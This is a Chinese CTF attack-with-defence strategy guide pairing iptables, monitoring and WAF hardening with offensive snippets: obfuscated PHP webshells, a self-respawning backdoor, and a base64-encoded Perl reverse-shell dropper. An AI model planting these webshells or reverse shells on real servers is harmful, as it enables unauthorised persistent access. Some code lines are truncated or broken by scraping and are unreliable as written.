CTF線下AWD經驗總結


簡介

隨着CTF的普及,比賽的形式也有了愈來愈多的花樣,對於線下賽來講,常見爲 AWD:Attack With Defence+公共高地、內網滲透等形式。php

因爲前段時間準備線下賽時,看了許多大佬們總結的套路,他們各類騷操做讓我學到了許多,因此就想把幾篇我以爲比較好的總結一下,一來方便本身比賽前回顧一下,二來跟你們分享,但願能對各位CTF朋友們有所幫助。html

以後若是學到什麼新姿式,我有時間也會update上來和你們分享:)python

何爲AWD

比賽中每一個隊伍維護多臺服務器,服務器中存在多個漏洞,利用漏洞攻擊其餘隊伍能夠進行得分,修復漏洞能夠避免被其餘隊伍攻擊失分。mysql

  • 通常分配Web服務器,服務器(多數爲Linux)某處存在flag(通常在根目錄下)linux

  • 可能會提供一臺流量分析虛擬機,能夠下載流量文件進行數據分析;nginx

  • flag在主辦方的設定下每隔必定時間刷新一輪git

  • 各隊通常都有本身的初始分數github

  • flag一旦被其餘隊伍拿走,該隊扣除必定積分web

  • 扣除的積分由獲取flag的隊伍均分sql

  • 主辦方會對每一個隊伍的服務進行check,服務宕機扣除本輪flag分數,扣除的分值由服務check正常的隊伍均分

  • 通常每一個隊伍會給一個低權限用戶,非root權限

具體規則以具體比賽規則爲準,但通常大同小異

網絡環境

網絡拓撲以下圖所示(示例):

首先先理清好網絡拓撲關係,節點與各鏈路之間的關聯,方便下一步和隊友配合,要否則不知道對手在哪就GG。

比賽分工

線下賽通常3人左右,2人攻擊,1人防護,由於發現的漏洞能夠攻擊其餘隊伍,也要進行修復,因此攻防相輔相成,以攻爲守。

通常來講,比賽中每一個隊伍須要維護多個靶機,web、二進制等,也能夠每人負責一臺,各自負責攻擊和防護。

套路小結

常規的CTF線下攻防思路:

服務器登陸

通常比賽都經過ssh鏈接服務器,拿到網絡拓撲圖後,和隊友進行分工,一我的檢查有沒有弱口令(弱口令的問題幾乎是必考),有的話對密碼進行修改(越複雜越好,固然前提是本身也方便)。web後臺也頗有可能存在弱口令,通常都是admin/admin ,admin/123456test/test等等,一樣須要當即修改,並將狀況反饋給隊友,憑着你的手速修改其餘隊伍的後臺口令,爲本隊所用,甚至有些嚴重的能夠利用後臺getshell。

與此同時,還須要(必定要!必需要!)有人在比賽開始後第一時間備份服務器中web目錄下的文件(/var/www/html)。這是自我審計的基礎,也是防止服務器在比賽中出現異常的狀況下能夠當即恢復到初始狀態的先決條件。有的比賽能夠提供3次左右的恢復初始設置的機會(但通常會伴隨着扣分爲代價),有的比賽不提供,因此備份十分重要。

能夠用scp命令,也可用一些圖形化的工具:Winscp,MobaXterm等,操做起來比較方便。

接着就是上WAF、文件監控、端口掃描。將這幾個工做分工好,順序就像圖上。

提權

在AWD中,通常都須要專門防護加固本身服務器的環節,但加固的不少操做都會涉及到root權限,若是直接給root權限最好,但通常只會給一個普通權限帳號,這時候每每就須要給服務器提權了。關於提權,一般咱們要根據kernel版本號找到對應的poc,平時咱們能夠收集測試一些比較新的提權poc,以備不時之需。

Linux_Local_Root_Exploits :這網站收集了許多linux本地提權的poc。

linux-kernel-exploits(github) :一個挺全的提權exp項目,收集了04年至今的exp,並按年份和CVE歸類

下面分享幾個最近兩年而且影響範圍比較大的:

  • CVE-2017-6074 (DCCP雙重釋放漏洞 > 2.6.18 ) :DCCP雙重釋放漏洞可容許本地低權限用戶修改Linux內核內存,致使拒絕服務(系統崩潰)或者提高權限,得到系統的管理訪問權限

  • CVE-2016-5195(髒牛,kernel 2.6.22 < 3.9 (x86/x64)) :低權限用戶可修改root用戶建立的文件內容,如修改 /etc/passwd,把當前用戶的 uid 改爲 0 便可提高爲root權限

  • CVE-2016-8655(Ubuntu 12.0四、14.04,Debian 七、8) :條件競爭漏洞,可讓低權限的進程得到內核代碼執行權限

    POC:https://www.seebug.org/vuldb/ssvid-92567

  • CVE-2017-1000367(sudo本地提權漏洞 ) :Linux Kernel Stack Clash安全漏洞。該漏洞是因爲操做系統內存管理中的一個堆棧衝突漏洞,它影響Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻擊者能夠利用它破壞內存並執行任意代碼 。

  • CVE-2016-1247(Nginx權限提高漏洞) :Nginx服務在建立log目錄時使用了不安全的權限設置,可形成本地權限提高,惡意攻擊者可以藉此實現從 nginx/web 的用戶權限 www-data 到 root 用戶權限的提高。

    POC:https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

我收集了一些提權的腳本工具集,可做參考:https://github.com/edwardchoijc/ctf-toolkit/Linux/getROOT

How to Attack

主機發現

若是是在同個C段,或者B段,都可以使用掃描器進行掃描得出。還要記得掃端口,這很重要,固然這個端口掃描是創建在沒有本身靶機權限的狀況下。用nmap也行,本身寫的腳本或者網上找的也行。

找預留後門

有的比賽環境,爲了照顧比較菜的選手,預留了一句話後門,能夠利用這個漏洞迅速打一波,還能夠視狀況「攪屎」,利用這個漏洞一直維持權限,每輪都得分。

將整個web目錄下載到本地,使用hm.exe、D盾或者別的掃描工具能夠掃描得出(若是預留)

發現後門後,第一時間刪除,同時利用這個漏洞發起第一波攻擊,若是利用菜刀連,顯然不夠優雅,還沒連完,人家估計都刪的差很少了,所以這個漏洞雖然是送分,但拼的是手速,所以得提早準備好腳本

代碼審計

代碼審計是攻防一體的工做,當發現漏洞時,修補的同時跟進攻的隊友商討如何利用

一句話木馬

控制用的一句話木馬,最好是須要菜刀配置的,這樣作是爲了避免讓別人輕易的利用你的一句話,要否則就只能等着別人用你的腳本撿分。

比較好的一句話:


$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>


配置爲?b=))99(rhC(tseuqeR+lave


1
2
3
4
5

$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>



配置爲n985de9=QGV2YWwoJF9QT1NUWzBdKTs= ,鏈接密碼爲0(數字)

單個文件批量上傳

當咱們經過某個漏洞批量上傳了不少的webshell後,可能想要批量傳個後門以備後用。這時咱們能夠經過用腳本批量上傳來提升效率:batch_upload_file

權限維持

上面說到利用預留後門能夠維持權限,主要有兩種,一種是「不死馬」,另外一種是反彈shell

「不死馬」


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

set_time_limit(0);
ignore_user_abort(true);
$file = '.demo.php';
$shell = "";
//$_hR='chr'
//$_cC='eval($_POST[1]);'
//$_fF='create_function'
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
touch(".demo.php", mktime(11,11,11,11,11,2018));
usleep(50);
}
?>


利用預留後門,上傳上面的「不死馬」並訪問,就會一直生成.demo.php的一句話木馬,木馬內容能夠自行修改,只要別被其餘隊伍看懂就行。

文件名前加一個點,能更好地隱藏文件

想要結束這個進程,除了最暴力的重啓服務以外,更爲優雅的以下:


while (1) {
$pid=1234;
@unlink('.demo.php');
exec('kill -9 $pid');
}
?>


先查看進程,查看對應的pid,再執行便可。

md5馬+header


1
2
3
4
5
6
7
8

echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flag';
header("flag:$test");
}
?>


放進config.php效果最好,由於通常不多人去看這個。

反彈shell


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

function which($pr){
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe){
$res = '';
if ($cfe){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = '';
while(!@feof($f)){
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}

$yourip = "127.0.0.1";
$yourport = '9999';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
/*
base64加密內容以下:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
*/
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>


利用預留後門上傳上面的php文件並訪問,就能夠用nc反彈shell,以後就能夠一直得分了

    How to Defend

    經常使用命令

    咱們先總結一下線下賽的防禦工做中經常使用的一些命令


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    ssh <-p 端口> username@ip
    scp 文件路徑 username@ip:存放路徑
    cat /root/.bash_history
    #顯示最近登陸的5個賬號
    last -n 5|awk '{print $1}'
    #顯示/etc/passwd的帳戶
    cat /etc/passwd|awk -F ':' '{print $1}'
    #查看UID爲0的賬號
    awk -F: '{if($3==0)print $1}' /etc/passwd
    #查找777的權限的文件
    find . -name "*.php" -perm 4777
    #查找24小時內被修改的PHP文件
    find ./ -mtime 0 -name "*.php"
    #查看進程
    ps aux | grep pid或者進程名    
    #查看已創建的網絡鏈接及進程
    netstat -antulp | grep EST
    #查看指定端口被哪一個進程佔用
    lsof -i:端口號 或者 netstat -tunlp|grep 端口號
    #結束進程命令
    kill PID
    killall <進程名>
    pkill <進程名>
    pkill -u用戶名
    #封殺某個IP或者ip段
    iptables -I INPUT -s source_ip[/mask] -j DROP
    #禁止從某個主機ssh遠程訪問登錄到本機
    iptable -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP
    #備份mysql數據庫
    mysqldump -u 用戶名 -p 密碼 數據庫名 > bak.sql
    mysqldump --all-databases > bak.sql
    #還原mysql數據庫
    mysql -u 用戶名 -p 密碼 數據庫名 < bak.sql
    #定時任務,在固定的時間間隔執行指定的系統指令或shell script
    crontab [-u user] file_name
    crontab [-u user] [-e |-l| -r]
    #檢測全部的tcp鏈接數量及狀態
    netstat -ant|awk|grep|sed -e -e|sort|uniq -c|sort -rn
    #查看頁面訪問排名前十的IP
    cat /var/log/apache2/access.log|cut -f1 -d|sort|uniq -c|sort -k -r|head -  
    #查看頁面訪問排名前十的URL
    cat /var/log/apache2/access.log|cut -f4 -d|sort|uniq -c|sort -k -r|head -


    文件監控

    爲了監控咱們的web目錄,咱們能夠對文件的增長或修改等操做進行限制,粗暴一點的話,就禁止任何文件產生變化。

    • 使用系統 chattr +i命令

      Linux下的文件有着隱藏屬性,能夠用lsattr命令查看。其中有一個i屬性,表示不得更動任意文件或目錄。若是你已經有root或者sudo權限了,那麼你可使用chattr +i 修改文件隱藏屬性,這樣全部用戶都不能對該文件或者目錄進行修改刪除等操做(包括root),若是想進行修改,必須用chattr -i取消隱藏屬性。

      e.g.

      防止系統中某個關鍵文件被修改:chattr +i /etc/profile

      將/var/www/html目錄下的文件設置爲不容許任何人修改: chattr -R +i /var/www/html

    • 使用python的第三方庫pyinotify

      python的第三方庫pyinotify可讓咱們很方便地實現這些功能。可是因爲是第三方庫,線下賽中一般無法聯網安裝庫,因此咱們能夠提早準備好source code以在比賽時安裝。

      下載地址:https://pypi.python.org/pypi/pyinotify (若是比賽能夠聯網,建議直接經過pip安裝)

      安裝方法:解壓,而後執行sudo pythonXXX setup.py install

      使用方法:python -m pyinotify monitoring_path

      但因爲監控事件太過雜,不少並非咱們關注的,而且咱們不只僅要監控,還須要對某些操做進行自動處理,所以咱們能夠用腳本針對性地實現咱們須要的功能:monitor_withPyinotify。

    網絡控制

    網絡防禦必定少不了 iptables了,但使用iptables須要有管理員權限。對於比賽環境,咱們徹底能夠配置一個近乎苛刻的配置防火牆策略。

    只開放一些比賽的必要端口,也能夠防止後門的鏈接


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #開放ssh
    iptables -A INPUT -p tcp --dport 22 -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
    #打開80端口
    iptables -A INPUT -p tcp --dport 80 -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
    #開啓多端口簡單用法
    iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
    #容許外部訪問本地多個端口 如8080,8081,8082,且只容許是新鏈接、已經鏈接的和已經鏈接的延伸出新鏈接的會話
    iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT


    限制ssh登錄,進行訪問控制


    1
    2
    3
    4
    #禁止從xx.xx.xx.xx遠程登錄到本機
    iptables -t filter -A INPUT -s xx.xx.xx.xx -p tcp --dport 22 -j DROP
    #容許xx.xx.xx.xx網段遠程登錄訪問ssh
    iptables -A INPUT -s xx.xx.xx.1/24 -p tcp --dport 22 -j ACCEPT


    限制IP鏈接數和鏈接速率

    咱們能夠限制IP的網絡鏈接數和速度等,限制過快的鏈接頻率,這樣能夠在必定程度上限制對方的掃描器。狠一點的話,甚至可讓對方只能以手工點網頁的速度與訪問


    1
    2
    3
    4
    5
    6
    7
    8
    #單個IP的最大鏈接數爲 30
    iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
    #單個IP在60秒內只容許最多新建15個鏈接
    iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
    iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
    #容許外部訪問本機80端口,且本機初始只容許有10個鏈接,每秒新增長2個鏈接,若是訪問超過此限制則拒接 (此方式能夠限制一些攻擊)
    iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT


    再猥瑣一點,能夠定時斷開已經創建的鏈接,讓對方只能斷斷續續的訪問

    數據包簡單識別,防止端口複用類的後門或者shell

    假設病毒木馬程序經過2280端口向服務器外傳送數據,這種方式向外發的數據不是咱們經過訪問網頁請求而回應的數據包。咱們能夠禁止這些沒有經過請求迴應的數據包。


    1
    2
    3
    iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT


    限制訪問

    若是對方來勢太兇,咱們能夠限制或者封殺他們的ip段。


    1
    2
    3
    4
    5
    #禁止從客戶機1.1.1.4訪問1.1.1.5上的任何服務
    iptable -t filter -A FORWARD -s 1.1.1.4 -d 1.1.1.5 -j DROP
    #封殺1.1.1.4這個IP或者某個ip段
    iptables -I INPUT -s 1.1.1.4 -j DROP
    iptables -I INPUT -s 1.1.1.1/24 -j DROP


    過濾異常報文

    iptables有一個TCP匹配擴展協議–tcp-flags,功能是過濾TCP中的一些包,好比SYN包,ACK包,FIN包,RST包等等。舉個例子,咱們知道SYN是創建鏈接,RST是重置鏈接,若是這兩個同時出現,就知道這樣的包是有問題的,應該丟棄。下面的例子是利用–tcp-flags參數,對一些包進行標識過濾,扔掉異常的數據包。


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #表示 SYN,FIN,ACK,RST的標識都檢查,但只匹配SYN標識
    iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN
    #匹配SYN標識位
    iptables -A INPUT -p tcp --syn
    #檢查全部的標識位,匹配到FIN URG PSH的丟棄
    iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
    #丟棄沒標誌位的包
    iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
    #匹配到SYN ACK FIN URG RST PSH的丟棄(相似的操做自行觸類旁通)
    iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG,PSH -j DROP
    #匹配到 SYN,RST的丟棄
    iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP


    防DDOS


    1
    iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT


    -m limit:啓用limit擴展
    –limit 20/minute:容許最多每分鐘10個鏈接
    –limit-burst 100:當達到100個鏈接後,才啓用上述20/minute限制

    丟棄陌生的TCP響應包,防止反彈式攻擊


    iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
    iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP


    • 提供一個通用的firewall腳本firewall.sh,咱們能夠傳到服務器上一鍵執行,相關參數能夠查閱資料詳細瞭解。

      注意,對於不一樣的iptables版本,一些參數的用法能夠會有略微的差別,使用時咱們可能要根據須要進行修改。

    修復漏洞

    CTF比賽中修復漏洞主要就是爲了防止其餘隊伍的入侵了。

    • 刪站(不建議)

      若是賽組沒有明確禁止,這是最粗暴的姿式,只留本身的webshell。

    • 刪頁面

      大部分舉辦方仍是會明確禁止刪除網站的,一般賽組會按期訪問網站主頁(通常來講),從而肯定網站是否正常運行。其實咱們不必刪除整個網站,只要刪掉有漏洞的頁面就好了,好比刪後臺登陸頁面、註冊頁面、上傳頁面等等。

    • 破壞正常功能

      若是明確不能刪除任何頁面,能夠選擇讓這些漏洞點的功能函數(或者其依賴的功能函數)失效。好比上傳點,若是考慮過濾挺麻煩,又不能刪頁面,那麼咱們能夠找到這個漏洞網頁,改掉或者刪掉文件裏對應的相似upload等這種功能調用函數。

    • 正常修補手段

      規則限定很嚴的狀況下,咱們仍是採用正常手法吧,修改服務配置、安裝補丁、下載更新的軟件版本、加過濾等等。

      第1~3種方法其實都算不上修補漏洞了,真實環境下哪能這麼幹。

    上WAF

    可使用第三方軟件的話,裝個安全狗之類的吧。

    下載連接:http://www.safedog.cn/website_safedog.html

    也能夠蒐集或者本身實現一些腳本或者工具有用。

    本人收集的一些WAF:https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF

    使用方法:

    1. 將waf.php傳到要包含的文件的目錄

    2. 在頁面中加入防禦,有兩種作法,根據狀況二選一:

      • PHPCMS V9:\phpcms\base.php

      • PHPWIND8.7:\data\sql_config.php

      • DEDECMS5.7:\data\common.inc.php

      • DiscuzX2:\config\config_global.php

      • Wordpress:\wp-config.php

      • Metinfo:\include\head.php

      • 在所須要防禦的頁面加入代碼:

      require_once('waf.php');
      • 這樣就能夠作到頁面防注入、跨站。

        若是想整站防注,就在網站的一個公用文件中添加上述代碼來調用WAF

        經常使用的php的WAF添加路徑:

    • 在每一個文件最前加上上述代碼

      php.ini中找到並添加:


    Automatically add files before or after any PHP document.
    auto_prepend_file = waf.php的路徑;


    • 還有最簡便的方法,能夠用一條命令解決,以php爲例:


    sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/
    #意思就是查找須要加waf的目錄下全部php文件,在頭部添加一句,用require_once函數引入/tmp/waf.php文件。由於sed命令利用 / 區分文件中的原字符串和修改的字符串,因此咱們要對 / 進行轉義。相似於在單引號中再次使用單引號時咱們也要用反斜槓轉義。


    最後,提醒:須要注意的是,部署waf可能會致使服務不可用,部署後要密切留意本身服務器的狀態。

    流量和日誌分析

    經過對流量、日誌的分析,能夠:

    1. 感知可能正在發生的攻擊,從而規避存在的安全風險

    2. 應急響應,還原攻擊者的攻擊路徑,從而挽回已經形成的損失

    3. 某些狀況下還能對攻擊進行重放復現


    • 流量分析

      在比賽機器上使用下述命令進行流量抓取:


    tcpdump -s 0 -w flow_log.pcap port 9999


    • 而後在本地對抓取的pcap使用wireshark進行分析

    • 日誌分析

      記錄log的腳本網上有不少,你們能夠自行搜索。例如:


    date_default_timezone_set('Asia/Shanghai');
    $ip = $_SERVER["REMOTE_ADDR"];//記錄訪問者的ip
    $filename = $_SERVER['PHP_SELF'];//訪問者要訪問的文件名
    $parameter = $_SERVER["QUERY_STRING"];//訪問者要請求的參數
    $method = $_SERVER['REQUEST_METHOD'];//請求方法
    $time = date('Y-m-d H:i:s',time());//訪問時間
    $post = file_get_contents("php://input",'r');//接收POST數據
    $others = '...其餘你想獲得的信息...';
    $logadd = '訪問時間:'.$time.'-->'.'訪問連接:http://'.$ip.$filename.'?'.$parameter.'請求方法:'.$method."\r\n";
    // log記錄
    $fh = fopen("log.txt""a");
    fwrite($fh, $logadd);
    fwrite($fh,print_r($_COOKIEtrue)."\r\n");
    fwrite($fh,$others."\r\n");
    fclose($fh);
    ?>


    • 日誌分析工具備:

      • LogForensics@騰訊實驗室

      • 北風飄然@金烏網絡安全實驗室

      • piaox的多線程WEB安全日誌分析腳本

      • SecSky的Web日誌安全分析工具

      • 鬼魅羊羔的Web日誌分析腳本

    假flag

    若是說很不幸,咱們前面的關卡都被突破了(實際上我都感受前面那些設置都有點「攪屎」的味道了,不過仍是但願師傅們能一塊兒來討論討論有沒有什麼騷姿式,以及繞過它們的方法)。假設真的被突破了,對於CTF線下賽來講,咱們最終的目的都是拿到flag。一般咱們會在服務器上執行相似於getflag命令,或者curl訪問某個url獲取flag,而後獲取到一個字符串,而後在答題平臺上提交這段字符串便可獲取分數。但有時候getflag時由於webshell丟了或其餘緣由,會致使服務器顯示Error,那咱們是否是能夠故意利用這種報錯來欺騙不細心的競爭對手呢?

    怎樣實現?好比咱們能夠添加alias別名,或者咱們能夠把這些命令更改或者替換掉,換成一些假裝命令程序。再換一層想一想,接着上面的思路,若是咱們替換或者假裝了系統命令,對方getshell以後,進來發現cdls等命令都無法用,會怎麼樣呢?

    其餘

    flag獲取

    線下賽能夠直接使用之類的

    或者


    #!/bin/bash
    while true
    do
    flag=$(curl 'http://xx.xx.xx.xx:8080')
    curl --cookie "PHPSESSID=YourCookie;" --data "key="${flag} "http://XX.XX.XX.XX/index.php/submit"
    sleep 1s
    done


    批量提交flag


    #!/usr/bin/env python
    import sys
    import json
    import urllib
    import httplib
    server_host = 'xx.xx.xx.xx'
    server_port = 80
    def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
    raise Exception('team token or flag not found')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({
    'token': team_token,
    'flag': flag,
    })
    headers = {
    "Content-type""application/x-www-form-urlencoded"
    }
    conn.request('POST''/api/submit_flag', params, headers)
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)

    if __name__ == '__main__':
    if len(sys.argv) < 3:
    print 'usage: ./submitflag.py $team_token $flag'
    sys.exit()
    host = server_host
    if len(sys.argv) > 3:
    host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)


    參考來源:

    http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/

    https://www.anquanke.com/post/id/86984

    http://tinyfisher.github.io/security/2017/10/02/CTF

    https://edwardchoijc.github.io/CTF%E7%BA%BF%E4%B8%8BAWD%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93.html

    一碼不掃,
    何以掃天下?




    本文分享自微信公衆號 - 網絡安全與信息技術(chuanqzk)。
    若有侵權,請聯繫 support@oschina.cn 刪除。
    本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

    相關文章
    相關標籤/搜索